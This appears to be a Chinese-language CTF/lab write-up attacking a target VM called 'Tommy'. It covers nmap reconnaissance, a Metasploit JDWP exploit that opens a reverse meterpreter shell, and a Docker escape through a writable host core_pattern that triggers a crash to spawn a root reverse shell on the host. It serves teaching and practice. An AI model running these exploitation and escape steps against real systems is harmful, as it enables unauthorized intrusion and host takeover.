

Tommy-qiaojojo

信息搜集

nmap 进行一个扫

```
# Nmap 7.99 scan initiated Sat Jul 11 16:35:48 2026 as: /usr/lib/nmap/nmap --privileged -sT -A -p- -oN result 192.168.88.65
Nmap scan report for 192.168.88.65
Host is up (0.0033s latency).
Not shown: 65530 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.67 ((Unix))
|_ http-methods:
|_ Potentially risky methods: TRACE
|_ http-title: Site doesn't have a title (text/html).
|_ http-server-header: Apache/2.4.67 (Unix)
4000/tcp  open  remoteanything?
5005/tcp  open  jdwp         Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_482
|_ jdwp-info: ERROR: Script execution failed (use -d to debug)
8080/tcp  open  http         Apache Tomcat 9.0.116
|_ http-favicon: Apache Tomcat
|_ http-title: Apache Tomcat/9.0.116
MAC Address: 08:00:27:F2:1A:58 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=7/11%OT=22%CT=1%CU=36891%PV=Y%DS=1%DC=D%G=Y%M=080027%TOS:M=6A52012C%P=x86_64-pc-linux-gnu)SEQ( )SEQ(II=I)ECN(R=N)T1(R=N)T2(R=N)T3(OS:R=N)T4(R=N)T5(R=N)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RIDOS:=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop

TRACEROUTE
HOP RTT      ADDRESS
1   3.29 ms  192.168.88.65

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 11 16:39:08 2026 -- 1 IP address (1 host up) scanned in 199.40 seconds
```

80 端口啥也没有

4000 试了半天没试出来有啥用

5005 有个 jdwp, nuclei 交叉验证下确实是

```
[jdpw-detect:jdpw-version] [tcp] [info] 192.168.88.65:5005 ["JVM version 1.8.0"]
```

应该和 8080 的 Tomcat 是一家人

获取 shell

试试最老最旧的 msf jdpw 利用模块，payload 就打个 meterpreter 默认的马就行

```
msf exploit(multi/misc/java_jdpw_debugger) > show options
```

Module options (exploit/multi/misc/java_jdpw_debugger):

Name	Current Setting	Required	Description
RESPONSE_TIMEOUT	10	yes	Number of seconds to wait for a server response
RHOSTS	192.168.88.65	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	5005	yes	The target port (TCP)
TMP_PATH		no	A directory where we can write files. Ensure there is a trailing slash

Payload options (linux/x64/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.88.200	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Linux (Native Payload)

View the full module info with the info, or info -d command.

利用成功了

```
msf exploit(multi/misc/java_jdpw_debugger) > run
[*] Started reverse TCP handler on 192.168.88.200:4444
[*] 192.168.88.72:5005 - Retrieving the sizes of variable sized data types in the target VM...
[*] 192.168.88.72:5005 - Getting the version of the target VM...
[*] 192.168.88.72:5005 - Getting all currently loaded classes by the target V
```

```

M...
[*] 192.168.88.72:5005 - Getting all running threads in the target VM...
[*] 192.168.88.72:5005 - Setting 'step into' event...
[*] 192.168.88.72:5005 - Resuming VM and waiting for an event...
[*] 192.168.88.72:5005 - Received 1 responses that are not a 'step into' event...
[*] 192.168.88.72:5005 - Deleting step event...
[*] 192.168.88.72:5005 - Disabling security manager if set...
[+] 192.168.88.72:5005 - Security manager was not set
[*] 192.168.88.72:5005 - Dropping and executing payload...
[*] Sending stage (3090404 bytes) to 192.168.88.72
[+] 192.168.88.72:5005 - Deleted /tmp/K8x3t8b
[*] Meterpreter session 2 opened (192.168.88.200:4444 -> 192.168.88.72:56288) at
2026-07-11 18:56:38 +0800

```

简单看下机器信息

```

meterpreter > sysinfo
Computer      : 73e08a556d2a
OS            : Ubuntu 24.04 (Linux 7.0.9-0-stable)
Architecture : x64
BuildTuple    : x86_64-linux-musl
Meterpreter   : x64/linux
meterpreter > getuid
Server username: root

meterpreter > ifconfig

Interface 1
=====
Name       : lo
Hardware MAC : 00:00:00:00:00:00
MTU        : 65536
Flags      : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:::

Interface 2
=====
Name       : eth0
Hardware MAC : a6:f1:87:10:fd:84
MTU        : 1500
Flags      : UP,BROADCAST,MULTICAST
IPv4 Address : 172.80.0.2
IPv4 Netmask : 255.255.255.0

```

user flag 在容器的 /root 下

```
meterpreter > search -f user.txt
Found 1 result...
=====

Path                Size (bytes)  Modified (UTC)
-----
/root/user.txt      44           2026-05-21 21:19:28 +0800
```

Docker 容器逃逸

一眼容器，检查下有没有能提权的地方，先看看根目录，注意到有个不太对劲的文件夹 host_proc

```
meterpreter > ls /
Listing: /
=====

Mode                Size  Type  Last modified          Name
-----
...
040555/r-xr-xr-x  0    dir   2026-07-11 18:43:01 +0800 host_proc
...

meterpreter > shell
Process 60 created.
Channel 3 created.
mount | grep host_proc
proc on /host_proc type proc (rw,nosuid,nodev,noexec,relatime)
```

确实是从主机挂出来的

这里参考 <https://hacktricks.wiki/zh/linux-hardening/privilege-escalation/container-security/sensitive-host-mounts.html#proc-exposure>

先看看 core_pattern，看起来直接就是可写的

```
meterpreter > search -f core_pattern
Found 2 results...
=====

Path                Size (bytes)  Modified (UTC)
-----
/host_proc/sys/kernel/core_pattern  0           2026-07-11 19:16:06 +0800
/proc/sys/kernel/core_pattern      0           2026-07-11 19:16:05 +0800

meterpreter > ls /host_proc/sys/kernel/core_pattern
100644/rw-r--r--  0  fil  2026-07-11 19:16:06 +0800  /host_proc/sys/kernel/core_
pattern
```

先尝试写点啥进去试试，如果可写，大概率会有一个宿主代码执行。

```
meterpreter > cat /host_proc/sys/kernel/core_pattern
core
```

```
meterpreter > edit /host_proc/sys/kernel/core_pattern
meterpreter > cat /host_proc/sys/kernel/core_pattern
qiaojojotest
```

确实可写，那我们就可以利用 core_pattern 逃逸。

/proc/sys/kernel/core_pattern 控制内核产生 core dump 时的处理程序。当任意进程崩溃时，宿主机内核会以 root 权限执行这个命令，从而获得宿主机 shell。

以及 core_pattern 只有以 | 开头时，才会将后面的内容当作可执行程序来运行。

给之前的 meterpreter 会话挂起，起个新监听器

```
meterpreter > background
[*] Backgrounding session 2...

msf exploit(multi/misc/java_jdwp_debugger) > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

msf exploit(multi/handler) > show options

Payload options (generic/shell_reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.88.200  yes       The listen address (an interface may be specified)
  LPORT     12450           yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0   Wildcard Target

View the full module info with the info, or info -d command.
```

就可以 busybox nc 弹 shell 了，收到反弹 shell

```
meterpreter > shell
Process 91 created.
Channel 21 created.
ulimit -c unlimited
/bin/sh -c 'kill -SEGV $$'
Segmentation fault (core dumped)

[*] Command shell session 3 opened (192.168.88.200:12450 -> 192.168.88.72:43969)
at 2026-07-11 19:58:17 +0800

exit
```

```
meterpreter > sessions 3
shell
[*] Trying to find binary 'python' on the target machine
[-] python not found
[*] Trying to find binary 'python3' on the target machine
[-] python3 not found
[*] Trying to find binary 'script' on the target machine
[*] Found script at /usr/bin/script
[*] Using `script` to pop up an interactive shell
Tommy:/# id
id
uid=0(root) gid=0(root)
```